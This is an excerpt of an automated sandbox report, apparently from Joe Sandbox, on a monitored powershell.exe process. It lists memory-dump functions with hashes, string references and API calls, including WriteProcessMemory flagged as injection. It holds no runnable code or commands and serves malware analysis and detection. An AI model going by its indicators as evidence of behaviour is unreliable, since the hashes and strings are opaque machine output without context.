Instruction ID: e90195f6ccf5461cfee9d4bf15fd877881602d91e244b44bb2e204b8e99425cb
Opcode Fuzzy Hash: af00a079b8b15341c32f0c11a05526ec62c09a7bd2758119cf75443cdfc75b42
Instruction Fuzzy Hash: 3C117074A402488FCB05DFA4D890AEDBFB5FF89310F145599E505BB262DB31AC51CFA1

Function 049F96BA Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2052912636.00000000049F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_49f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4079991dd439760eeed6942dd7e0a36c6355bb1f8054060039f997da58572361
Instruction ID: a203e4ec6f2719944e3c2c77da26ce5ffbfbfc0ce27866b3860477cf85598caa
Opcode Fuzzy Hash: 4079991dd439760eeed6942dd7e0a36c6355bb1f8054060039f997da58572361
Instruction Fuzzy Hash: 63E0C9B4D0820A9F8B44DFB895422AEBBF5AA08200B10857FD859E7300E63455019FD5

Function 049F96C8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2052912636.00000000049F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_49f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fe07f02d66aae619605311186519ec8eeacbfd3d8d087cf68433a6bf61525ae
Instruction ID: f9fd3dd081b81ffd7661cd1a8c090a148b01a66ba89078a736e7d6b9c4fe1208
Opcode Fuzzy Hash: 7fe07f02d66aae619605311186519ec8eeacbfd3d8d087cf68433a6bf61525ae
Instruction Fuzzy Hash: 1DE026B4E0520E9F8F48DFB995421BEFBF5AB48200F1089BE992AE3340E63456118F95

Analysis Process: powershell.exePID: 616, Parent PID: 4524COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.7%
Total number of Nodes:	164
Total number of Limit Nodes:	14

Executed Functions

Function 0722CF00 Relevance: 16.2, Strings: 12, Instructions: 1174COMMON

Download Yara Rule

Strings

$sq, xrefs: 0722D82A
$sq, xrefs: 0722D7D1
4, xrefs: 0722D8D5
$sq, xrefs: 0722D407
$sq, xrefs: 0722D7E1
$sq, xrefs: 0722D83A
$sq, xrefs: 0722D357
$sq, xrefs: 0722D193
,wq, xrefs: 0722D9BA
$sq, xrefs: 0722D3F7
$sq, xrefs: 0722D347
$sq, xrefs: 0722D183

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: ,wq$4$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq
API String ID: 0-142878317
Opcode ID: 83fef78bc64f448498c621a0ec9a597afc4f0f1581e98a062500073da13fc4a6
Instruction ID: 58752a5e59c822aea5de4c7153056594a7e5d252d243583c579804ff0c2e908d
Opcode Fuzzy Hash: 83fef78bc64f448498c621a0ec9a597afc4f0f1581e98a062500073da13fc4a6
Instruction Fuzzy Hash: 11B209B4B102299FDB24CFA4C894BADB7B6BF88300F158595E505AB3A5CB70EC46DF50

Function 0722D227 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$sq, xrefs: 0722D82A
$sq, xrefs: 0722D7D1
4, xrefs: 0722D8D5
,wq, xrefs: 0722D9BA
$sq, xrefs: 0722D347
$sq, xrefs: 0722D3F7

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: ,wq$4$$sq$$sq$$sq$$sq
API String ID: 0-3730739033
Opcode ID: 5d25b62b1d760c29a4d674c1844111f1a5610d3c40996eff206d1fd038babdfb
Instruction ID: 7856dfc5f7a1080eac11251790a754b17c6df95e23d0ac1c2e02fa15bf71e73d
Opcode Fuzzy Hash: 5d25b62b1d760c29a4d674c1844111f1a5610d3c40996eff206d1fd038babdfb
Instruction Fuzzy Hash: 072219B4B10226DFDB24DF64C984BA9B7B2BF88300F158195D509AB3A5CB70ED86DF50

Function 07228BC7 Relevance: 2.9, Strings: 2, Instructions: 424
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tesq, xrefs: 07228ED7
Tesq, xrefs: 07228F0C

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: Tesq$Tesq
API String ID: 0-1365298620
Opcode ID: 81fa54d30353702463aafcbe2669089320ab66b94aa84ab26f698c73763f132f
Instruction ID: 312f9cb1b318ec7292c59bae737e41f84e100ad1c69a55cfdbde58dbf0ab77ac
Opcode Fuzzy Hash: 81fa54d30353702463aafcbe2669089320ab66b94aa84ab26f698c73763f132f
Instruction Fuzzy Hash: 43120CB4E25229CFDB64CF68D845B9DB7B2FB89300F5090A6D409AB354DB70AD86CF11

Function 06F72A58 Relevance: 1.8, APIs: 1, Instructions: 320
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2856555642.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d73d06fdf410cd1b3fe0b92f9bae6c83f9cf7e6ca3fdc012e69dd0347a76aca
Instruction ID: 68fd85192b469153c5dee118d5a5fdedb7574355a83b79f83a27d9e3f50e44e8
Opcode Fuzzy Hash: 0d73d06fdf410cd1b3fe0b92f9bae6c83f9cf7e6ca3fdc012e69dd0347a76aca
Instruction Fuzzy Hash: 5FD11971D00619DFDB65DFA9C880A9DFBB1FF48314F24865AD814AB352DB70AA85CF80

Function 07204CA0 Relevance: 1.6, APIs: 1, Instructions: 59nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 07204D16

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0b06a7079f8dbd15e0dec48187cb7b96812dee9946826834ff23b8ad79a47708
Instruction ID: 4e886dfe3c1ba62b774daa841f2ad041a9ff046b98ceb1df6bfa1d75e1942ec2
Opcode Fuzzy Hash: 0b06a7079f8dbd15e0dec48187cb7b96812dee9946826834ff23b8ad79a47708
Instruction Fuzzy Hash: ED2127B1D102499EDB10DFAAC485A9EFBF8EF59320F14842AD419A7240DB749945CFA1

Function 07204CA8 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 07204D16

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7f5873318a113ac52b53117c9e6ebb2c62a0ae2375851fe87f069f6c06997cfa
Instruction ID: f066e704de5195ecce22686eadfdfabb487f3f1370add8743227e70eaa944fd2
Opcode Fuzzy Hash: 7f5873318a113ac52b53117c9e6ebb2c62a0ae2375851fe87f069f6c06997cfa
Instruction Fuzzy Hash: 291129B1D103499FDB10DFAAC585B9EFBF8EF98324F14842AD519A7240CB74A944CFA1

Function 071CBB0D Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

PHsq, xrefs: 071CBE13

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: PHsq
API String ID: 0-3083888473
Opcode ID: a783c32746b4d0e67aab4dd133a0de1e4edeb9d0bcacfc8a251dbb33947755ff
Instruction ID: 42e734891758db714651426706453a918f12c88b19b97a1c1d2092b973f87941
Opcode Fuzzy Hash: a783c32746b4d0e67aab4dd133a0de1e4edeb9d0bcacfc8a251dbb33947755ff
Instruction Fuzzy Hash: 7AC12AB4E19259CFDB24CFA8C9867ADBBB2FB55300F1090A9D409EB394CB745985CF01

Function 06F89879 Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

Tesq, xrefs: 06F8995C

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID: Tesq
API String ID: 0-136783293
Opcode ID: 2951a0360df8fea7398f23d2a220ed6578f5152e1d52280430f619cd0eaf37df
Instruction ID: 2e908c588f11c1c4186b26d9f1a9d6118415e55d6793224b10b349ee3fc3ea9b
Opcode Fuzzy Hash: 2951a0360df8fea7398f23d2a220ed6578f5152e1d52280430f619cd0eaf37df
Instruction Fuzzy Hash: 33B1F870E05219CFEB64DFA9C984BADBBF2FB89304F5480A9E409AB355D7B05985CF40

Function 06F89888 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

Tesq, xrefs: 06F8995C

Memory Dump Source

Source File: 00000004.00000002.2856705849.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f80000_powershell.jbxd

Similarity

API ID:
String ID: Tesq
API String ID: 0-136783293
Opcode ID: 45bd95b47b5f9f207d5ad319e2ece1db64706920c32d1f3f993837b65fb86371
Instruction ID: 0e251704e7749e5c788d2fa76113020857d1746536a736e546bbb7db96ac7138
Opcode Fuzzy Hash: 45bd95b47b5f9f207d5ad319e2ece1db64706920c32d1f3f993837b65fb86371
Instruction Fuzzy Hash: 5CB1F870E05218CFEB54DF69D984BADBBF2FB89304F1490A9E409AB355D7B05981CF40

Function 075A6E38 Relevance: 46.6, Strings: 36, Instructions: 1594COMMON

Download Yara Rule

Strings

$sq, xrefs: 075A7958
$sq, xrefs: 075A75C0
$sq, xrefs: 075A71CE
$sq, xrefs: 075A7464
$sq, xrefs: 075A6E6B
$sq, xrefs: 075A75D0
4'sq, xrefs: 075A75FC
tPsq, xrefs: 075A779B
$sq, xrefs: 075A6E79
tPsq, xrefs: 075A750E
$sq, xrefs: 075A71DE
4'sq, xrefs: 075A7013
$sq, xrefs: 075A7D59
tPsq, xrefs: 075A778F
$sq, xrefs: 075A7442
4'sq, xrefs: 075A75F0
$sq, xrefs: 075A6E4A
$sq, xrefs: 075A7186
tPsq, xrefs: 075A7502
$sq, xrefs: 075A7948
$sq, xrefs: 075A7AE9
$sq, xrefs: 075A7ADB
$sq, xrefs: 075A7D4B
$sq, xrefs: 075A7233
4'sq, xrefs: 075A726E
$sq, xrefs: 075A7472
4'sq, xrefs: 075A701F
$sq, xrefs: 075A7D2A
$sq, xrefs: 075A71A7
$sq, xrefs: 075A7ABA
4'sq, xrefs: 075A7262
$sq, xrefs: 075A770C
$sq, xrefs: 075A7426
$sq, xrefs: 075A7243
$sq, xrefs: 075A7405
$sq, xrefs: 075A7921

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$4'sq$4'sq$4'sq$4'sq$tPsq$tPsq$tPsq$tPsq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq
API String ID: 0-2058173011
Opcode ID: 413997869943f7c449abb211e9d030727f99d8889dbcb3d1552ae54fdd6f43c3
Instruction ID: e682d7f5e7d8057e9e3bf9fe6423f1bec1129b98ccc109199c9020c14b2653a6
Opcode Fuzzy Hash: 413997869943f7c449abb211e9d030727f99d8889dbcb3d1552ae54fdd6f43c3
Instruction Fuzzy Hash: 1DC2F6B1B0424AAFDB158F69D8506EEBBE2FFC9210F18887BD5058B251DB31DD41CBA1

Function 075AA5E8 Relevance: 21.9, Strings: 17, Instructions: 654COMMON

Download Yara Rule

Strings

$sq, xrefs: 075AA9B4
$sq, xrefs: 075AABB8
$sq, xrefs: 075AA9A6
$sq, xrefs: 075AA984
tPsq, xrefs: 075AA72D
4'sq, xrefs: 075AAA36
tPsq, xrefs: 075AA739
$sq, xrefs: 075AA968
$sq, xrefs: 075AABC6
4'sq, xrefs: 075AAA42
4'sq, xrefs: 075AA7EE
4'sq, xrefs: 075AAC43
4'sq, xrefs: 075AA7E2
$sq, xrefs: 075AAA04
$sq, xrefs: 075AAB93
4'sq, xrefs: 075AAC37
$sq, xrefs: 075AA9F4

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$4'sq$4'sq$4'sq$4'sq$tPsq$tPsq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq
API String ID: 0-345312062
Opcode ID: 330cf21b4cb46ac9b3a0fb955a2c210cccb2b8a5d3fdd4034b6934754d44ddec
Instruction ID: deaa8e1604bd6c768c7509c30ea2db688d0a894f4a85b0a573446e66db13c049
Opcode Fuzzy Hash: 330cf21b4cb46ac9b3a0fb955a2c210cccb2b8a5d3fdd4034b6934754d44ddec
Instruction Fuzzy Hash: F822E3B1B04246AFDB258B69C8506EEBBE2BFC5210F14C47BD9458B281DF35DC42CBA1

Function 07565B10 Relevance: 11.7, Strings: 8, Instructions: 1678COMMON

Download Yara Rule

Strings

tPsq, xrefs: 07565CCE
4'sq, xrefs: 0756661D
(osq, xrefs: 07566A91
(osq, xrefs: 07566AA1
4'sq, xrefs: 07566611
tPsq, xrefs: 07565CDA
4'sq, xrefs: 075668EF
4'sq, xrefs: 075668E3

Memory Dump Source

Source File: 00000004.00000002.2860560106.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_powershell.jbxd

Similarity

API ID:
String ID: (osq$(osq$4'sq$4'sq$4'sq$4'sq$tPsq$tPsq
API String ID: 0-519119598
Opcode ID: 676e6c4f71f38c3a892ea04cb71d1131df1219bb5bb66b6ac629c419be0759e8
Instruction ID: ad143d0816146f7adf12cdffa2a0270fda4420c939c710b9cc07f8eab0f63875
Opcode Fuzzy Hash: 676e6c4f71f38c3a892ea04cb71d1131df1219bb5bb66b6ac629c419be0759e8
Instruction Fuzzy Hash: 45C227B57042499FDB25CF68C858BEABBB6FF85310F14806AE505DB292DB31DC41CBA1

Function 07561858 Relevance: 8.5, Strings: 6, Instructions: 1036COMMON

Download Yara Rule

Strings

4'sq, xrefs: 0756245F
4'sq, xrefs: 075623A5
tPsq, xrefs: 07561CDA
tPsq, xrefs: 07561CCE
4'sq, xrefs: 07562449
4'sq, xrefs: 075623BB

Memory Dump Source

Source File: 00000004.00000002.2860560106.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$4'sq$4'sq$tPsq$tPsq
API String ID: 0-631490371
Opcode ID: 5165f62719290b63b02c4d2a15f7aaac4af1ca47e908eb3a76820bdb90e250d4
Instruction ID: f9f5240865c9230577eedd48dd07eef1a9f945ea084be0cba68ea8c1f8dc09a4
Opcode Fuzzy Hash: 5165f62719290b63b02c4d2a15f7aaac4af1ca47e908eb3a76820bdb90e250d4
Instruction Fuzzy Hash: FA8294B4B002198FDB24CB68C854BAEBBB2BF85314F54C4AAD5099F345DB31DD86CB91

Function 07568CFF Relevance: 6.2, Strings: 4, Instructions: 1210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 07569E96
4'sq, xrefs: 07569EAC
4'sq, xrefs: 07569F29
4'sq, xrefs: 07569F35

Memory Dump Source

Source File: 00000004.00000002.2860560106.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$4'sq$4'sq
API String ID: 0-1617174353
Opcode ID: d7d71b61a2dc8550b5e64e17f821eb1f73bdd88467ce4b19a4e17984edde781c
Instruction ID: b4545f8611ecb727719011a0eea861d464bb52f790019dc0a0bc6a414e2ea78a
Opcode Fuzzy Hash: d7d71b61a2dc8550b5e64e17f821eb1f73bdd88467ce4b19a4e17984edde781c
Instruction Fuzzy Hash: 50C261B4A002159FDB64CB58C854BAAB7B2FF84304F5481E9DA09AF345CB71ED82CF95

Function 0756A157 Relevance: 3.7, Strings: 2, Instructions: 1212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 07569E96
4'sq, xrefs: 07569F29

Memory Dump Source

Source File: 00000004.00000002.2860560106.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq
API String ID: 0-780347173
Opcode ID: c11c054485ca6eb2afc6bb1f43c2658b9a9bc106f48a24e756616c3a6b625632
Instruction ID: 21bee152ed328119f0a36cbbf8cc919c270a5cfee551b1ec25ab8a51209813ef
Opcode Fuzzy Hash: c11c054485ca6eb2afc6bb1f43c2658b9a9bc106f48a24e756616c3a6b625632
Instruction Fuzzy Hash: 61C23CB4A002159FDB54CB58C854BAABBB2FF84304F54C1E9DA09AB345CB71ED82CF95

Function 06F73E43 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 79
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000001), ref: 06F73DFD

Strings

k^, xrefs: 06F73E43

Memory Dump Source

Source File: 00000004.00000002.2856555642.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f70000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: k^
API String ID: 3559483778-1258544224
Opcode ID: 66d2b7e7e281d8f20916280bbfc530a7d840dfdf338ae206732dc581d251cb6b
Instruction ID: 2f1cd3438f53e8b3b53d31e6baa5fe93d52e08f2b842dcef5c22b9a1f6b78cb6
Opcode Fuzzy Hash: 66d2b7e7e281d8f20916280bbfc530a7d840dfdf338ae206732dc581d251cb6b
Instruction Fuzzy Hash: C83167B2D00249DFCB50CFA9D885ADEBBF4FB48310F14842EE919A7310D7749544CBA0

Function 07568D34 Relevance: 3.6, Strings: 2, Instructions: 1066
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 07569E96
4'sq, xrefs: 07569F29

Memory Dump Source

Source File: 00000004.00000002.2860560106.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq
API String ID: 0-780347173
Opcode ID: 8743374ad5ed22c34a9d4ecf1e9d0508502a5767b4654a224300482c8baf2f1f
Instruction ID: 5b8f0c6a0e75e63bbdaa63b5b4dbc104938c234e3ab6551c08c19afdacc080a3
Opcode Fuzzy Hash: 8743374ad5ed22c34a9d4ecf1e9d0508502a5767b4654a224300482c8baf2f1f
Instruction Fuzzy Hash: 23B251B4A002159FDB54CB58C894BAAB7B2FF84304F5481E9DA09AF345CB71ED82CF95

Function 075A92C0 Relevance: 3.1, Strings: 2, Instructions: 639
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 075A97C2
4'sq, xrefs: 075A97CE

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq
API String ID: 0-780347173
Opcode ID: 6d8d01a31442a9a7922ba2dbc2de9f9937db6b9ec4bc8b98ef205b55df166f2c
Instruction ID: 922547cd291b4e6449c527af06c6d3d22346711fce558a6a336e16be9a2433e3
Opcode Fuzzy Hash: 6d8d01a31442a9a7922ba2dbc2de9f9937db6b9ec4bc8b98ef205b55df166f2c
Instruction Fuzzy Hash: 81325EB4B00215AFDB14CB98C994AAEBBB2BFC5314F14C46AE9059F355CB31EC42CB91

Function 075AFB18 Relevance: 2.9, Strings: 2, Instructions: 351
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 075AFC38
4'sq, xrefs: 075AFC2C

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq
API String ID: 0-780347173
Opcode ID: 32b6ae856904e5b612d0202aee38d120910294be4ca18d7862780f8327d827de
Instruction ID: 408f49f0de98d617016bf8c588621d8925e0624aa7b6d1ea88828f5c5cc943d2
Opcode Fuzzy Hash: 32b6ae856904e5b612d0202aee38d120910294be4ca18d7862780f8327d827de
Instruction Fuzzy Hash: 9AC1C5B5B04209AFCB54DB68C454AAEBBB2BFC5310F14C47AD9058F296DB31DD82C791

Function 0722EA90 Relevance: 2.7, Strings: 2, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hwq, xrefs: 0722EC35
(wq, xrefs: 0722EBA6

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: (wq$Hwq
API String ID: 0-584953801
Opcode ID: d0c03b0ae1feac1dbda54433f85f2b42bb468ef3d672bd3bc139d1becdfe489c
Instruction ID: 50a96db83ea48498fe44321ccd8441a9fabf2bab38f311c03c886a32b47a9096
Opcode Fuzzy Hash: d0c03b0ae1feac1dbda54433f85f2b42bb468ef3d672bd3bc139d1becdfe489c
Instruction Fuzzy Hash: C651D174B002519FDB69AF38C45466EBBA6FF96301B1149ADD4028B3A0CE35DC0ADBA1

Function 075AFC44 Relevance: 2.7, Strings: 2, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(osq, xrefs: 075AFC87
(osq, xrefs: 075AFC93

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: (osq$(osq
API String ID: 0-4199119687
Opcode ID: 2aa75234d83a647aa4285c984d83158c0193bd6b107b8a6786f158f27c61bad3
Instruction ID: debac82403d33b2ab64f8e218ff1229321bdbeee8a4a316e47dd3d8231e548b6
Opcode Fuzzy Hash: 2aa75234d83a647aa4285c984d83158c0193bd6b107b8a6786f158f27c61bad3
Instruction Fuzzy Hash: 2F51B3B1600205AFDB24CF68C454AEDBBA2FF81310F55C4BAE8059F296CB71ED46CB91

Function 075A0488 Relevance: 2.7, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 075A0599
4'sq, xrefs: 075A058D

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq
API String ID: 0-780347173
Opcode ID: 28f310101ff957e5d3954bbebc0f83bb58cdc54411080d7420f54bf416ffbad4
Instruction ID: b7ce4f53406e2fdcbf4defbc91e569aac6750ca597eb249c445ad4c0e341f32a
Opcode Fuzzy Hash: 28f310101ff957e5d3954bbebc0f83bb58cdc54411080d7420f54bf416ffbad4
Instruction Fuzzy Hash: 1D5105B1B19345AFCF11967498207AE7BA1BFC6214F1480BBD509CB2D2EA35C885C7A2

Function 075AA5CC Relevance: 2.6, Strings: 2, Instructions: 142COMMON

Download Yara Rule

Strings

tPsq, xrefs: 075AA72D
4'sq, xrefs: 075AA7E2

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$tPsq
API String ID: 0-3827892685
Opcode ID: 3c02fb45d107c02f1d4d1a27cd9e1551a1396eb0bb665b169424b234d91dd9d9
Instruction ID: 264a87c957fe943e40e1bbbb38ef7a9632246c6e7a9b42b0602b377b5e302a5f
Opcode Fuzzy Hash: 3c02fb45d107c02f1d4d1a27cd9e1551a1396eb0bb665b169424b234d91dd9d9
Instruction Fuzzy Hash: 2E41E0B0B04246AFDB248F69C454BEEB7F2BF89210F18C4BAD5159B291DB31DC42CB61

Function 075A6AE0 Relevance: 2.6, Strings: 2, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tPsq, xrefs: 075A6B66
tPsq, xrefs: 075A6B72

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: tPsq$tPsq
API String ID: 0-2620299843
Opcode ID: a5e46d65149ef2d12c80801b67f41f861e80906abe7b5a4f047b251b8319da0e
Instruction ID: c3c4438d731ed230c354db9814456dff250c44ffc7f14a893cceb2aa299eb5bb
Opcode Fuzzy Hash: a5e46d65149ef2d12c80801b67f41f861e80906abe7b5a4f047b251b8319da0e
Instruction Fuzzy Hash: A6412BB1B053586FCB209B688C11BAEBFA5EF85710F58845AE5449F3C2DA71DC4187E2

Function 075A6E1B Relevance: 2.6, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

$sq, xrefs: 075A6E6B
$sq, xrefs: 075A6E4A

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: $sq$$sq
API String ID: 0-1184984226
Opcode ID: 27b1e6e93a04fbfd59d0e65c2740776ee8c7a5dfd67dc128d26f6914aa63dfb8
Instruction ID: cddc4846bb390990831a7077da062fea9efcd08e3f6b302cab20505a9d11d324
Opcode Fuzzy Hash: 27b1e6e93a04fbfd59d0e65c2740776ee8c7a5dfd67dc128d26f6914aa63dfb8
Instruction Fuzzy Hash: C011B2F5208346AFDB228A54D9409EBBFB5FF92214B1C807BE5048B252DB36DC44C761

Function 071C8BDB Relevance: 2.6, Strings: 2, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&, xrefs: 071C8D87
(, xrefs: 071C8D5E

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: &$(
API String ID: 0-131901980
Opcode ID: 10cac99df99a347854c27d9d24e734eb8f61d4f0e75152e97dbed7a7fa52878c
Instruction ID: 869e7a17dd2b3d0f3d5499904be9454d51a8d04d7d14ff48685758bbc31ab9f5
Opcode Fuzzy Hash: 10cac99df99a347854c27d9d24e734eb8f61d4f0e75152e97dbed7a7fa52878c
Instruction Fuzzy Hash: 1F31E5B4A11219CFDB65DFA4D845BEEBBB1BB99314F5040DAD409AB784CB719E81CF00

Function 071C7E50 Relevance: 2.5, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!, xrefs: 071C881B
9, xrefs: 071C7E5D

Memory Dump Source

